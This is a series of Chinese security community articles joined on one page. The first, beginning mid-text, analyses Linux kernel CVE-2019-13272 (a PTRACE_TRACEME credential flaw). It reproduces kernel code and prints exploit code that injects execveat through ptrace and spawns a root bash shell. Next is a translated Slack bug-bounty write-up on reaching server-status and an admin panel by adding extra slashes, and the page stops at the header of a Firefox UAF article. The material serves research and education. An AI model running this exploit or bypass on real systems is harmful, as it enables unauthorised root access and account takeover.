1519 * bits from any earlier bprm->file uses (for example when run
1520 * first for a setuid script then again for its interpreter).
1521 */
1522 bprm->cred->euid = current_euid(); // <--- 先使用本进程的euid
1523 bprm->cred->egid = current_egid();
1524
1525 if (!mnt_may_suid(bprm->file->f_path.mnt))
1526 return;
1527
1528 if (task_no_new_privs(current))
1529 return;
1530
1531 inode = bprm->file->f_path.dentry->d_inode;
1532 mode = READ_ONCE(inode->i_mode);
1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- 如果可执行文件没有 setuid/setgid 位，这里就可以返回了
1534 return;
1535
1536 /* Be careful if suid/sgid is set */
1537 inode_lock(inode);
1538
1539 /* reload atomically mode/uid/gid now that lock held */
1540 mode = inode->i_mode;
1541 uid = inode->i_uid; // <---- 如果文件 S_ISUID 置位，使用文件的 i_uid
1542 gid = inode->i_gid;
1543 inode_unlock(inode);
1544
1545 /* We ignore suid/sgid if there are no mappings for them in the ns */
1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547 !kgid_has_mapping(bprm->cred->user_ns, gid))
1548 return;
1549
1550 if (mode & S_ISUID) {
1551 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552 bprm->cred->euid = uid; // <------ 使用文件的 i_uid 作为新进程的 euid
1553 }
1554
1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1556 bprm->per_clear |= PER_CLEAR_ON_SETID;
1557 bprm->cred->egid = gid;
1558 }
1559 }
如上， 主要看两行
* 1522 行, 将当前的 euid 赋值新的 euid, 所以大部分执行了 execve 的进程的权限跟原来的一样
* 1552 行，如果带有 suid bit, 则将可执行文件的所有者的 uid 赋值新的 euid, 这就是所谓 setuid 的实现， 新的 euid 变成了它执行的可执行文件所有者的 uid， 如果所有者是特权用户， 这里就实现了提权
但是，这里的 euid 依然不是最终的结果， 还需要进入函数 security_bprm_set_creds 做进一步的安全检测
security_bprm_set_creds 函数调用的是
[LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) 框架
在我分析的内核版本上, 实现 ‘bprm_set_creds’ 这个 hook 点安全检测的 lsm 框架有 5 种, 检测函数如下,
* cap_bprm_set_creds
* selinux_bprm_set_creds
* apparmor_bprm_set_creds
* smack_bprm_set_creds
* tomoyo_bprm_set_creds
这里哪些 hook 检测函数会被执行，其实是跟具体的内核配置有关的, 理论上把所有 lsm 框架都启用的话，上述所有这些实现了
‘bprm_set_creds’ hook 检测的函数都会被执行
在我的分析环境里实际运行的检测函数只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 这俩
其中， 对 euid 有影响的是 ‘cap_bprm_set_creds’ 这个函数
815 int cap_bprm_set_creds(struct linux_binprm *bprm)
816 {
817 const struct cred *old = current_cred();
818 struct cred *new = bprm->cred;
819 bool effective = false, has_fcap = false, is_setid;
820 int ret;
821 kuid_t root_uid;
===================== skip ======================
838 /* Don't let someone trace a set[ug]id/setpcap binary with the revised
839 * credentials unless they have the appropriate permit.
840 *
841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
842 */
843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844
845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- 检测是否执行的是 setid 程序
846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
847 !ptracer_capable(current, new->user_ns))) { // <----- 如果执行execve的进程被trace了，且执行的程序是 setuid 的，需要增加权限检测
848 /* downgrade; they get no more than they had, and maybe less */
849 if (!ns_capable(new->user_ns, CAP_SETUID) ||
850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
851 new->euid = new->uid; // <----- 如果检测不通过，会将新进程的 euid 重新设置为原进程的 uid
852 new->egid = new->gid;
853 }
854 new->cap_permitted = cap_intersect(new->cap_permitted,
855 old->cap_permitted);
856 }
857
858 new->suid = new->fsuid = new->euid;
859 new->sgid = new->fsgid = new->egid;
===================== skip ======================
}
如上
* 行 845, 检测 euid 是否跟原有的 uid 不一致 (在函数 bprm_fill_uid 分析里我们知道，如果执行的文件是 setuid bit 的， euid 就会不一致)
`所以这里等同于检测执行的可执行程序是不是 setid 程序`
* 行 847, 检测本进程是否是 tracee
如果两个条件同时满足，需要执行 ptracer_capable 函数进行权限检测，假设检测不通过， 会执行 downgrade 降权
* 行 851, 将 new->euid 的值重新变成 new->uid， 就是说在函数 bprm_fill_uid 里提的权在这里可能又被降回去
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred); // <----- 取出 ptrace_link 时保存的 ptracer_cred
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-------- 进入 lsm 框架进行安全检测
507 rcu_read_unlock();
508 return (ret == 0);
509 }
如上，
* 行 504, 取出 ‘tsk->ptracer_cred’
* 行 506, 进入 lsm 框架对 ‘tsk->ptracer_cred’ 进行检测
到了这里， 这个漏洞涉及到的变量 ‘tsk->ptracer_cred’ 终于出现了， 如前所述，这个变量是建立 trace 关系时， tracee 保存的
tracer 的 cred
当 tracee 随后执行 execve 去执行 suid 可执行程序时，就会调用 ptracer_capable 这个函数， 通过 lsm
里的安全框架去判断 ‘ptracer_cred’ 的权限
lsm 框架里的 capable hook 检测我们这里不分析了， 简单来说， 如果 tracer 本身是 root 权限， 则这里的检测会通过，
如果不是， 就会返回失败
根据前面的分析，如果 ptracer_capable 检测失败， new->euid 的权限会被降回去
举个例子， A ptrace B , B execve 执行 ‘/usr/bin/passwd’, 根据上面代码的分析， 如果 A 是 root 权限， 则
B 执行 passwd 时的 euid 是 root, 否则就还是原有的权限
kernel/ptrace.c <<\ptrace_traceme>>
ptrace_link(current, current->real_parent);
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}
回到漏洞代码, 为什么 traceme 在建立 trace link 时记录 parent 的 cred 是不对的呢? 明明这时候 parent 就是
tracer 啊?
我们用 Jann Horn 举的例子来说明为什么 traceme 这种方式建立 trace link 时不能使用 tracer 的 cred
- 1, task A: fork()s a child, task B
- 2, task B: fork()s a child, task C
- 3, task B: execve(/some/special/suid/binary)
- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- 5, task C: execve(/usr/bin/passwd)
- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- 7, task B: become dumpable again (e.g. execve(/some/other/binary))
- 8, task A: PTRACE_ATTACH to task B
- 9, task A: use ptrace to take control of task B
- 10, task B: use ptrace to take control of task C
如上场景有 3 个进程 A, B, C
* 第 4 步， task C 使用 PTRACE_TRACE 建立跟 B 的 trace link 时， 由于 B 此时是 euid = 0 (因为它刚刚执行了 suid binary), 所以 C 记录的 ptracer_cred 的 euid 也是 0
* 第 5 步， task C 随后执行 execve(suid binary), 根据我们上面的分析，由于 C 的 ptracer_cred 是特权的， 所以 ptracer_capable 函数检测通过，所以执行完 execve 后， task C 的 euid 也提权成 0 , 注意此时 B 和 C 的 trace link 还是有效的
* 第 6 步， task B 执行 setresuid 将自己降权， 这个降权的目的是为了能让 task A attach
* 第 8 步， task A 使用 PTRACE_ATTACH 建立跟 B 的 trace link, A 和 B 都是普通权限, 之后 A 可以控制 B 执行任何操作
* 第 9 步， task B 控制 task C 执行提权操作
前面 8 步，依据之前的代码分析都是成立的，那么第 9 步能不能成立呢?
执行第 9 步时， task B 本身是普通权限， task C 的 euid 是 root 权限， B 和 C 的 trace link 有效,
这种条件下 B 能不能发送 ptrace request 让 C 执行各种操作，包括提权操作?
下面我们结合代码分析这个问题
1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
1112 unsigned long, data)
1113 {
1114 struct task_struct *child;
1115 long ret;
1116
1117 if (request == PTRACE_TRACEME) {
1118 ret = ptrace_traceme(); // <----- 进入 traceme 分支
1119 if (!ret)
1120 arch_ptrace_attach(current);
1121 goto out;
1122 }
1123
1124 child = find_get_task_by_vpid(pid);
1125 if (!child) {
1126 ret = -ESRCH;
1127 goto out;
1128 }
1129
1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
1131 ret = ptrace_attach(child, request, addr, data); // <------ 进入 attach 分支
1132 /*
1133 * Some architectures need to do book-keeping after
1134 * a ptrace attach.
1135 */
1136 if (!ret)
1137 arch_ptrace_attach(child);
1138 goto out_put_task_struct;
1139 }
1140
1141 ret = ptrace_check_attach(child, request == PTRACE_KILL ||
1142 request == PTRACE_INTERRUPT);
1143 if (ret < 0)
1144 goto out_put_task_struct;
1145
1146 ret = arch_ptrace(child, request, addr, data); // <---- 其他 ptrace request
1147 if (ret || request != PTRACE_DETACH)
1148 ptrace_unfreeze_traced(child);
1149
1150 out_put_task_struct:
1151 put_task_struct(child);
1152 out:
1153 return ret;
1154 }
如上， 由于 task B 和 task C 此时已经存在 trace link， 所以通过 B 向 C 可以直接发送 ptrace request，
将进入函数 arch_ptrace
arch/x86/kernel/ptrace.c
arch_ptrace
-> ptrace_request
-> generic_ptrace_peekdata
generic_ptrace_pokedata
-> ptrace_access_vm
-> ptracer_capable
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885 unsigned long addr, unsigned long data)
886 {
887 bool seized = child->ptrace & PT_SEIZED;
888 int ret = -EIO;
889 siginfo_t siginfo, *si;
890 void __user *datavp = (void __user *) data;
891 unsigned long __user *datalp = datavp;
892 unsigned long flags;
893
894 switch (request) {
895 case PTRACE_PEEKTEXT:
896 case PTRACE_PEEKDATA:
897 return generic_ptrace_peekdata(child, addr, data);
898 case PTRACE_POKETEXT:
899 case PTRACE_POKEDATA:
900 return generic_ptrace_pokedata(child, addr, data);
901
=================== skip ================
1105 }
1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157 unsigned long data)
1158 {
1159 unsigned long tmp;
1160 int copied;
1161
1162 copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- 调用 ptrace_access_vm
1163 if (copied != sizeof(tmp))
1164 return -EIO;
1165 return put_user(tmp, (unsigned long __user *)data);
1166 }
1167
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169 unsigned long data)
1170 {
1171 int copied;
1172
1173 copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- 调用 ptrace_access_vm
1174 FOLL_FORCE | FOLL_WRITE);
1175 return (copied == sizeof(data)) ? 0 : -EIO;
1176 }
如上，当 tracer 想要控制 tracee 执行新的代码逻辑时，需要发送 request 读写 tracee 的代码区和内存区， 对应的 request
是 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA
这几种读写操作最终都是通过函数 ptrace_access_vm 实现的
kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39 void *buf, int len, unsigned int gup_flags)
40 {
41 struct mm_struct *mm;
42 int ret;
43
44 mm = get_task_mm(tsk);
45 if (!mm)
46 return 0;
47
48 if (!tsk->ptrace ||
49 (current != tsk->parent) ||
50 ((get_dumpable(mm) != SUID_DUMP_USER) &&
51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- 又是调用 ptracer_capable 函数
52 mmput(mm);
53 return 0;
54 }
55
56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
57 mmput(mm);
58
59 return ret;
60 }
kernel/capability.c
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred);
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);
507 rcu_read_unlock();
508 return (ret == 0);
509 }
如上， ptrace_access_vm 函数会调用我们之前分析到的 ‘ptracer_capable’ 来决定这个 request 是否可以进行, 这是
‘ptracer_capable’ 函数的第二种使用场景
根据之前我们分析的结果， task C 此时保存的 ptracer_cred 是特权 cred, 所以这时候 ptracer_capable 会通过，
也就是说我们回答了刚刚的问题， 这种情况下，普通权限的 task B 是可以发送 ptrace request 去读写 root 权限的 task C
的内存区和代码区的
至此，task C 记录的这个特权 ptracer_cred 实际上发挥了 2 种作用
* 1，可以让 task C 执行 execve(suid binary) 给自己提权
* 2，可以让普通权限的 task B 执行 ptrace 读写 task C 的代码区和内存区，从而控制 task C 执行任意操作
上面 2 点合起来，不就是完整的提权操作吗?
## 小结
我们仔细回顾上述代码分析过程， 才终于明白补丁描述写的这段话
PTRACE_TRACEME records the parent's credentials as if the parent was
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.
本质上这个漏洞有点像 [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) 类漏洞, ptracer_cred 的获取是在 traceme 阶段, 而 ptracer_cred 的应用是在随后的各种 request 阶段，
而在随后的 ptrace request 的时候， tracer 的 cred 可能已经不是一开始建立 trace link 时的那个 cred 了
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}
我们再次看看 jann horn 的补丁: ‘__task_cred(new_parent)’ -> ‘current_cred()’
补丁的意思是说在 PTRACE_TRACEME 这种场景下， ptracer_cred 记录的不应该是父进程的 cred， 而应该是自己的 cred
所以我觉得从这个变量的用途来说，它其实记录的不是 tracer 的 cred, 而是 ‘trace link creater’ 的 cred
我建议 jann horn 将这个变量名改成 ptracelinkcreater_cred, 当 trace link 由 PTRACE_ATTACH
建立时， 它等于 tracer 的 cred, 当 trace link 由 PTRACE_TRACEME 建立时， 它等于 tracee 的 cred,
它实际上记录的是 trace 关系建立者的权限 !
## exploit
本漏洞利用的关键是找到合适的可执行程序启动 task B, 这个可执行程序要满足如下条件:
* 1, 必须是能被普通权限用户调用
* 2, 执行时必须有提权到root的阶段
* 3, 执行提权后必须执行降权
(短暂提权到 root 的目的是让 task C 可以获取 root 的 ptracer_cred, 再降权的目的是让 B 能被普通权限的进程 ptrace
attach)
这里我列出 3 份 exploit 代码:
* 1 [jann horn 的 exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
* 2 [bcoles 的 exploit](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
* 3 [jiayy 的 exploit](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)
[jann horn 的 exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217) 里使用桌面发行版自带的
[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) 程序用于启动
task B
[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html)
允许特权用户以其他用户权限执行另外一个可执行程序， 用于
[polkit](https://wiki.archlinux.org/index.php/Polkit) 认证框架, 当使用 –user 参数时，
刚好可以让进程先提权到 root 然后再降权到指定用户，因此可以用于构建进程 B, 此外需要找到通过 polkit 框架执行的可执行程序(jann horn
把他们成为 helper)， 这些 helper 程序需要满足普通用户用 pkexec 执行它们时不需要认证（很多通过 polkit
执行的程序都需要弹窗认证）, 执行的模式如下:
* /usr/bin/pkexec –user nonrootuser /user/sbin/some-helper-binary
[bcoles 的 exploit](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c) 在 jann horn 的基础上增加了寻找更多 helper
binary 的代码， 因为 jann horn 的 helper 是一个写死的程序， 在很多发行版并不存在，所以他的 exploit
在很多发行版系统上无法运行， bcoles 的 exploit 可以在更多的发行版上运行成功
本人出于学习的目的，也写了一份 [jiayy 的 exploit](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272), 因为 helper binary 因不同发行版而异， pkexec
也是桌面发行版才有， 而事实上这个提权漏洞是 linux kernel 的漏洞， 所以我把 jann horn 的 exploit 改成了使用一个
fakepkexec 程序来提权， 而这个 fakepkexec 和 fakehelper
程序手动生成（而不是从目标系统搜索），这样一来学习者可以在任何存在本漏洞的 linux 系统（不需要桌面）运行我的 exploit 进行研究
## exploit 分析
下面简单过一下 exploit 的代码
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
172
173 helper_path = "/tmp/fakehelper";
174
175 /*
176 * set up a pipe such that the next write to it will block: packet mode,
177 * limited to one packet
178 */
179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
181 char dummy = 0;
182 SAFE(write(block_pipe[1], &dummy, 1));
183
184 /* spawn pkexec in a child, and continue here once our child is in execve() */
185 static char middle_stack[1024*1024];
186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
188 if (!middle_success) return 1;
189
======================= skip =======================
215 }
先看行 186, 调用 clone 生成子进程（也就是 task B）, task B 运行 middle_main
64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
79 while (1) {
80 char buf[1000];
81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '\0';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
111 execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }
行 70, 调用 fork 生成孙进程（也就是 task C）
然后行 111, task B 运行 fakepkexec 让自己提权再降权
然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后， 会执行行 91 进行 PTRACE_TRACEME 操作获取
root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个 suid binary 让自己的 euid 变成 0
190 /*
191 * wait for our child to go through both execve() calls (first pkexec, then
192 * the executable permitted by polkit policy).
193 */
194 while (1) {
195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196 char buf[16];
197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198 buf[buflen] = '\0';
199 *strchrnul(buf, '\n') = '\0';
200 if (strncmp(buf, basename(helper_path), 15) == 0)
201 break;
202 usleep(100000);
203 }
204
205 /*
206 * our child should have gone through both the privileged execve() and the
207 * following execve() here
208 */
209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210 SAFE(waitpid(midpid, &dummy_status, 0));
211 fputs("attached to midpid\n", stderr);
212
213 force_exec_and_wait(midpid, 0, "stage2");
214 return 0;
接下去回到 task A 的 main 函数， 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper
之后， 运行行 213 执行 force_exec_and_wait
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }
函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制
task B 执行了 task A 的进程（即 exploit 的可执行程序）然后参数为 stage2, 这实际上就是让 task B 执行了
middle_stage2 函数
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C
执行 execveat 函数，将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
157 return 0;
158 }
当 exploit binary 以参数 stage3 运行时，实际运行的是 spawn_shell 函数, 所以 task C 最后阶段运行的是
spawn_shell
160 static int spawn_shell(void) {
161 SAFE(setresgid(0, 0, 0));
162 SAFE(setresuid(0, 0, 0));
163 execlp("bash", "bash", NULL);
164 err(1, "execlp");
165 }
在 spawn_shell 函数里， 它首先使用 setresgid/setresuid 将本进程的 real uid/effective uid/save
uid 都变成 root, 由于 task C 刚刚已经执行了 suid binary 将自身的 euid 变成了 root, 所以这里的
setresuid/setresgid 可以成功执行，到此为止， task C 就变成了一个完全的 root 进程， 最后再执行 execlp 启动一个
shell, 即得到了一个完整 root 权限的 shell
## 引用
* [broken permission and object lifetime handling for PTRACE_TRACEME](https://bugs.chromium.org/p/project-zero/issues/detail?id=1903)
* * * | 社区文章 |
# 【技术分享】 我是如何把50刀的漏洞变成9000刀
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://secalert.net/slack-security-bug-bounty.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **lxghost** ****](http://bobao.360.cn/member/contribute?uid=19372057)
**预估稿费：150RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[ **网页版**
****](http://bobao.360.cn/contribute/index) **在线投稿**
**简介**
本文描述Slack漏洞悬赏项目中，使用黑盒渗透测试，从一个50刀的server status泄露变成9000刀的敏感信息泄露和垂直权限绕过的过程。
**感谢Slack安全团队**
我想感谢Slack安全团队的[Leigh Honeywell](https://twitter.com/hypatiadotca?lang=de)和[Max
Feldman](https://hackerone.com/maxfeldman)在我报告漏洞过程中温和而又专业的沟通合作。
**信息收集**
为了弄清基础架构、获取关于所用的框架的信息，我开始检查HTTP响应头，发现Slack在使用的是Apache
httpd服务器。于是我尝试识别常见的Apache目录和指令，比如“/icons/README”、“/manual/”、“/server-info”和“/server-status”。
**我可以访问你的内部数据吗？**
Slack在服务器上运行mod_status。这个模块能使服务器管理员发现他们的服务器表现如何以及哪个ip地址请求了哪些资源。攻击者可能会利用这种信息来计划对网络服务器的攻击。
https://secalert-hackerone.slack.com/server-status
当我尝试访问服务器状态指令时，服务器将我重定向到*.tinyspeck.com域名的一个登录页面。所以这个路径是受保护的。
超出范围的域名！又是什么问题？
如果你很懒，请注意Slack漏洞悬赏项目是禁止暴力破解的。于是一般人会尝试用一些注入技术绕过登录页面，但不幸的是登录页面本身位于一个允许范围之外的完全限定域名（FQDN）上，所以这个办法行不通。我必须找到一个方法留在secalert-hackerone.slack.com 的允许范围之内。
**
**
**路由？筛选？——黑盒测试**
一开始我觉得如果他们在用Apache
httpd和mod_status，那么用重写模块会触发重定向。mod_rewrite模块是Apache的一个很强大的模块，用于在运行中重写URL。然而强大的能力伴随着高风险。配置mod_rewrite时容易产生错误，引发安全问题。以mod_rewrite文件中的一项配置为例：
RewriteRule ^/somepath(.*) /otherpath$1 [R]
如果是这样的话，他们可能会在重写规则中配置出错，因此我可以仅仅添加一个斜杠就绕过它。为什么？请求
http://yourserver/somepath/secalert
会重定向，不出所料地返回页面http://yourserver/otherpath/secalert。然而，请求
http://yourserver//somepath/secalert
会绕过这一项重写规则。针对Slack而言，这种方式绕过是不可能的。所以我必须打开思路。
为了绕过潜在的基于简单字符串的过滤保护，我尝试了斜杠的很多表示形式。
https://secalert-hackerone.slack.com/%2fserver-status%2f
https://secalert-hackerone.slack.com/%252fserver-status
为了绕过过滤，我使用RTLO序列进行了尝试，提交了其后为反向字符串的RTLO序列。
https://secalert-hackerone.slack.com/{u+202e here}sutats-revres
https://secalert-hackerone.slack.com/%e2%80%aesutats-revres
**绕过访问控制！**
几番测试之后，我觉得他们可能在框架中使用了路由策略，我可以通过添加多个正斜杠来绕过这种路由机制或访问控制。应用的过滤方法检查是否以特定的字符串开头，然后去掉一个正斜杠，但没有能递归地去掉所有的斜杠。这招终于管用了。
https://secalert-hackerone.slack.com/////server-status
成功！
**赏金只有50美金？**
在给[Slack on
hackerone](https://hackerone.com/slack)写报告时，我决定添加一些截屏作为证据。当时我以为至少获得50美金作为报告这项配置失误的赏金，因为如果请求资源是我自己的Slack工作区的一部分，server-status文件通常不会泄露任何敏感信息给我，对吧？我登出了我的Slack账号，然后在没有登录的情况下请求服务器状态！这意味着一个攻击者有可能通过访问一个给定的工作区的服务器状态指令从而获得非授权访问任何Slack站点的请求资源的权限！
**秘密揭晓，赏金增加！**
一些罗列的请求如“/callbacks/chat.php?secret=…”和“[/users.list?token=](https://api.slack.com/methods/users.list)…”肯定是敏感数据。所以我添加了一些截图，有可能因此我能到手的赏金达到了2000美元。再次感谢Slack慷慨的赏金。
**谷歌索引**
在获得Slack第一笔丰厚的赏金之后，我有动力寻找更多漏洞。我用谷歌搜索了Slack网站上的常见文件扩展名，找到了缓存的url，这意味着Slack以前或现在确实有后端管理面板，它被编入谷歌以前的索引中。当我尝试访问这些页面时，我又被重定向到了登录页面。但是，既然Slack解决了先前报告的问题，我的机会很渺茫，是吗？
**绕过访问控制 第二部分**
在数次请求之后，我发现在通向管理面板的特定路径上，如果我使用4个斜杠，我可以绕过限制。这只对这个特定的控制器有效！
**后端访问- >第二份赏金！**
Slack的员工能够访问一个名为“任务控制”的后端管理面板。在这个指挥中心面板上，被授权的人能够通过给相应的控制器传一个id来读取大量关于Slack用户和Slack工作区的元数据。由于所需的id暴露于我自己的Slack工作区所呈现的html上，我读取了我自己的账号的相关数据并把这些截图发给了Slack安全团队。除此之外，这还证明了通过猜测用户的id并向指挥中心面板相应的“重置”控制器发送请求，攻击者将能够重置任何一名用户的密码。这将使攻击者能够夺走任何账号！这个漏洞使我获得了7000美元的赏金。
**结语**
要有耐心！有时你可能会发现一个在技术层面上微不足道的缺陷，但它可能会对受影响的公司产生巨大的商业冲击或者严重的数据隐私问题，因此他们对这些风险的评估可能和你你一开始的想法不一样。
**参考**
<https://api.slack.com/methods/users.list>
[https://httpd.apache.org/docs/current/mod/mod_status.html](https://httpd.apache.org/docs/current/mod/mod_status.html)
**时间线**
Apr, 11th 2016: 发现并报告漏洞
Apr, 11th 2016: slack验证
Apr, 13th 2016: 漏洞修复
Apr, 13th 2016: 收到$2.000赏金
Apr, 14th 2016: 发现并报告第二个漏洞
Apr, 14th 2016: slack验证漏洞
Apr, 24th 2016: 漏洞全球范围修复
Apr, 24th 2016: 成功获得$7.000赏金
Oct, 20th 2016: 发布这篇文章 | 社区文章 |
# 【技术分享】分析Firefox的shared array buffer的UAF漏洞利用
|
##### 译文声明
本文是翻译文章，文章来源：phoenhex.re
原文地址：<https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言
**
